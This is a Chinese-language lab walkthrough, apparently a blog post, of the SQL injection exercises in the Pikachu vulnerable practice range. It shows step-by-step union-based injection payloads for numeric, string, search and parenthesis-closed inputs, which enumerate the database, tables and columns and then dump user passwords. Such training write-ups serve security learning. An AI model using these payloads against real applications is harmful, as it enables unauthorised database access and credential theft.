[Pikachu靶场实战系列] SQL注入

SQL注入概述

在这里插入图片描述

数字型注入(post)

在这里插入图片描述
随便选择一个进行抓包
在这里插入图片描述
可以看出,传入的值赋值给了参数id.
因为是数字型注入,我们在1后面加上一个单引号看是否报错
在这里插入图片描述
报错了,确定漏洞存在

id=1 or 1 #

可以把所有列表爆出来,因为1为真,符合所有条件,所以输出了所有的用户
在这里插入图片描述
order by 判断字段长度
在这里插入图片描述
在这里插入图片描述
order by 2 正常,order by 3 报错,说明字段长度为2
然后union select 进行联合查询,右边的1和2就是回显查询结果的地方
在这里插入图片描述
先查一下数据库,将结果回显到2的地方(要将id改为一个不存在的数字,一般用-1):

id=-1 union select 1,database() #

数据库名为pikachu
在这里插入图片描述

接下来就是构造sql语句,查询自己想要的内容
查数据库的表

id=-1 union select 1,table_name from information_schema.tables where table_schema=‘pikachu’ #

在这里插入图片描述

查询指定表的列名,这里我查询的是users表

id=-1 union select 1,column_name from information_schema.columns where table_schema=‘pikachu’ and table_name=‘users’ #

在这里插入图片描述

查询指定列的数据,我这里查询password

id=-1 union select 1,password from users#

在这里插入图片描述

字符型注入(get)

先随便输入一个值,点击查询,在url中看到
在这里插入图片描述
然后单引号报错
在这里插入图片描述
剩下的步骤和post一样,只是将pyload放到url中。
order by 判断字段长度为2

1’ order by 3 #

在这里插入图片描述
爆数据库

-1’ union select 1,database() #

在这里插入图片描述
其他步骤参考get形式即可

搜索型注入

先输入个1’尝试报错
在这里插入图片描述
在这里插入图片描述
根据报错信息可知,闭合可能要用%
输入1%,没有报错,但是因为用户名里没有1,所以没有搜索到
在这里插入图片描述
只输入一个%,输出了所有用户
在这里插入图片描述
order by 判断字段长度,长度为3

1 %’ order by 4 #

在这里插入图片描述
查询数据库

1 %’ union select 1,2,database() #

在这里插入图片描述
其他步骤仍然参考数字型注入

xx型注入

在这里插入图片描述
提示里面说的好
在这里插入图片描述
直接1’尝试报错
在这里插入图片描述
根据报错信息,我们构造闭合
1’) # 没有报错,成功闭合
在这里插入图片描述

order by 查字段长度

1’) order by 3#
在这里插入图片描述
联合查询查数据库
1’) union select 1,database()#

在这里插入图片描述
其他步骤参考字符型注入

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值